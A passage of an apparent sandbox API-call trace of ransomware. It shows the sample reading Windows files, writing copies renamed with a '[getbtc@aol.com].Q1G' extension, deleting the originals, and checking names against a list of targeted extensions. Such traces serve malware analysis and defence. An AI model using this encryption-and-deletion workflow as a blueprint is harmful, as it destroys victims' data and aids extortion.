dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.268] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=1382) returned 1 [0057.268] CloseHandle (hObject=0x214) returned 1 [0057.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0057.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.268] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.268] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0057.268] GetLastError () returned 0x0 [0057.268] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x566, lpOverlapped=0x0) returned 1 [0057.270] WriteFile (in: hFile=0x190, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x570, lpOverlapped=0x0) returned 1 [0057.271] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.271] WriteFile (in: hFile=0x190, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0057.271] SetEndOfFile (hFile=0x190) returned 1 [0057.271] CloseHandle (hObject=0x190) returned 1 [0057.271] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.271] SetEndOfFile (hFile=0x214) returned 1 [0057.272] CloseHandle (hObject=0x214) returned 1 [0057.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.272] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 1 [0057.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.272] lstrlenW (lpString=".doc") returned 4 [0057.272] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0057.272] lstrlenW (lpString=".docx") returned 5 [0057.272] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0057.272] lstrlenW (lpString=".pdf") returned 4 [0057.272] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0057.273] lstrlenW (lpString=".xls") returned 4 [0057.273] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0057.273] lstrlenW (lpString=".xlsx") returned 5 [0057.273] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0057.273] lstrlenW (lpString=".ppt") returned 4 [0057.273] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0057.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.273] lstrlenW (lpString=".zip") returned 4 [0057.273] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0057.273] lstrlenW (lpString=".rar") returned 4 [0057.273] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0057.273] lstrlenW (lpString=".bz2") returned 4 [0057.273] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0057.273] lstrlenW (lpString=".7z") returned 3 [0057.273] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0057.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.273] lstrlenW (lpString=".dbf") returned 4 [0057.273] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0057.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.273] lstrlenW (lpString=".1cd") returned 4 [0057.273] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0057.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.273] lstrlenW (lpString=".jpg") returned 4 [0057.273] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0057.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.273] lstrlenW (lpString=".doc") returned 4 [0057.273] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0057.273] lstrlenW (lpString=".docx") returned 5 [0057.273] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0057.273] lstrlenW (lpString=".pdf") returned 4 [0057.273] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0057.273] lstrlenW (lpString=".xls") returned 4 [0057.273] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0057.273] lstrlenW (lpString=".xlsx") returned 5 [0057.273] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0057.274] lstrlenW (lpString=".ppt") returned 4 [0057.274] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0057.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.274] lstrlenW (lpString=".zip") returned 4 [0057.274] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0057.274] lstrlenW (lpString=".rar") returned 4 [0057.274] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0057.274] lstrlenW (lpString=".bz2") returned 4 [0057.274] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0057.274] lstrlenW (lpString=".7z") returned 3 [0057.274] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0057.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.274] lstrlenW (lpString=".dbf") returned 4 [0057.274] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0057.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.274] lstrlenW (lpString=".1cd") returned 4 [0057.274] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0057.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.274] lstrlenW (lpString=".jpg") returned 4 [0057.274] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0057.274] lstrcmpiW (lpString1=".FLT", lpString2=".Q1G") returned -1 [0057.274] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0057.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.275] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=73080) returned 1 [0057.275] CloseHandle (hObject=0x214) returned 1 [0057.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0057.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.275] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.275] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0057.275] GetLastError () returned 0x0 [0057.275] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x11d78, lpOverlapped=0x0) returned 1 [0057.374] WriteFile (in: hFile=0x190, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x11d80, lpOverlapped=0x0) returned 1 [0057.377] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.377] WriteFile (in: hFile=0x190, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.377] SetEndOfFile (hFile=0x190) returned 1 [0057.673] CloseHandle (hObject=0x190) returned 1 [0057.673] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.673] SetEndOfFile (hFile=0x214) returned 1 [0057.674] CloseHandle (hObject=0x214) returned 1 [0057.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.674] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 1 [0057.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0057.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0057.674] lstrlenW (lpString=".doc") returned 4 [0057.674] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.674] lstrlenW (lpString=".docx") returned 5 [0057.674] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.675] lstrlenW (lpString=".pdf") returned 4 [0057.675] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.675] lstrlenW (lpString=".xls") returned 4 [0057.675] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.675] lstrlenW (lpString=".xlsx") returned 5 [0057.675] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.675] lstrlenW (lpString=".ppt") returned 4 [0057.675] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0057.675] lstrlenW (lpString=".zip") returned 4 [0057.675] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.675] lstrlenW (lpString=".rar") returned 4 [0057.675] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.675] lstrlenW (lpString=".bz2") returned 4 [0057.675] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.675] lstrlenW (lpString=".7z") returned 3 [0057.675] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0057.675] lstrlenW (lpString=".dbf") returned 4 [0057.675] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0057.675] lstrlenW (lpString=".1cd") returned 4 [0057.675] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0057.675] lstrlenW (lpString=".jpg") returned 4 [0057.675] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0057.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0057.675] lstrlenW (lpString=".doc") returned 4 [0057.675] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.675] lstrlenW (lpString=".docx") returned 5 [0057.675] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.675] lstrlenW (lpString=".pdf") returned 4 [0057.675] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.675] lstrlenW (lpString=".xls") returned 4 [0057.676] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.676] lstrlenW (lpString=".xlsx") returned 5 [0057.676] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.676] lstrlenW (lpString=".ppt") returned 4 [0057.676] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0057.676] lstrlenW (lpString=".zip") returned 4 [0057.676] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.676] lstrlenW (lpString=".rar") returned 4 [0057.676] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.676] lstrlenW (lpString=".bz2") returned 4 [0057.676] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.676] lstrlenW (lpString=".7z") returned 3 [0057.676] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0057.676] lstrlenW (lpString=".dbf") returned 4 [0057.676] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0057.676] lstrlenW (lpString=".1cd") returned 4 [0057.676] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0057.676] lstrlenW (lpString=".jpg") returned 4 [0057.676] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.676] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0057.676] lstrlenW (lpString="hxds.dll") returned 8 [0057.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0058.383] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=1257984) returned 1 [0058.383] CloseHandle (hObject=0x224) returned 1 [0058.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0058.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0058.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0058.383] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.383] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 16 os_tid = 0x9d0 [0035.572] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3790288 [0035.572] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x37a0290 [0035.572] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0290 [0035.572] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5640d0 [0035.572] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b02a8 [0035.572] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3b90020 [0035.573] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b02c0 [0035.573] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b02c0, Size=0x20) returned 0x5667c8 [0035.573] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b02c0 [0035.573] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b02c0, Size=0x20) returned 0x566818 [0035.573] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0035.573] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0035.573] Wow64DisableWow64FsRedirection (in: OldValue=0x328ff58 | out: OldValue=0x328ff58*=0x0) returned 1 [0035.573] lstrlenW (lpString="kernel32.dll") returned 12 [0035.573] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5667c8 | out: hHeap=0x510000) returned 1 [0035.573] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0035.573] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566818 | out: hHeap=0x510000) returned 1 [0035.573] Sleep (dwMilliseconds=0x64) [0035.965] lstrcmpiW (lpString1=".ttf", lpString2=".Q1G") returned 1 [0035.965] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0035.965] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.444] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1984228) returned 1 [0036.444] CloseHandle (hObject=0x1a0) returned 1 [0036.444] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0036.444] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.444] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0036.444] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0036.444] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0036.444] lstrlenW (lpString=".doc") returned 4 [0036.444] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0036.444] lstrlenW (lpString=".docx") returned 5 [0036.444] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0036.444] lstrlenW (lpString=".pdf") returned 4 [0036.444] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0036.444] lstrlenW (lpString=".xls") returned 4 [0036.444] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0036.444] lstrlenW (lpString=".xlsx") returned 5 [0036.444] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0036.444] lstrlenW (lpString=".ppt") returned 4 [0036.444] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0036.445] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0036.445] lstrlenW (lpString=".zip") returned 4 [0036.445] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0036.445] lstrlenW (lpString=".rar") returned 4 [0036.445] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0036.445] lstrlenW (lpString=".bz2") returned 4 [0036.445] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0036.445] lstrlenW (lpString=".7z") returned 3 [0036.445] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0036.445] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0036.445] lstrlenW (lpString=".dbf") returned 4 [0036.445] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0036.445] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0036.445] lstrlenW (lpString=".1cd") returned 4 [0036.445] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0036.445] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0036.445] lstrlenW (lpString=".jpg") returned 4 [0036.445] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0036.445] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0036.445] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0036.445] lstrlenW (lpString=".doc") returned 4 [0036.445] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0036.445] lstrlenW (lpString=".docx") returned 5 [0036.445] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0036.445] lstrlenW (lpString=".pdf") returned 4 [0036.445] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0036.445] lstrlenW (lpString=".xls") returned 4 [0036.445] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0036.445] lstrlenW (lpString=".xlsx") returned 5 [0036.445] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0036.445] lstrlenW (lpString=".ppt") returned 4 [0036.445] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0036.446] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0036.446] lstrlenW (lpString=".zip") returned 4 [0036.446] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0036.446] lstrlenW (lpString=".rar") returned 4 [0036.446] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0036.446] lstrlenW (lpString=".bz2") returned 4 [0036.446] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0036.446] lstrlenW (lpString=".7z") returned 3 [0036.446] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0036.446] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0036.446] lstrlenW (lpString=".dbf") returned 4 [0036.446] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0036.446] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0036.446] lstrlenW (lpString=".1cd") returned 4 [0036.446] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0036.446] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0036.446] lstrlenW (lpString=".jpg") returned 4 [0036.446] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0036.446] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0036.446] lstrlenW (lpString="PptLR.cab") returned 9 [0036.446] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.831] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x328ff1c | out: 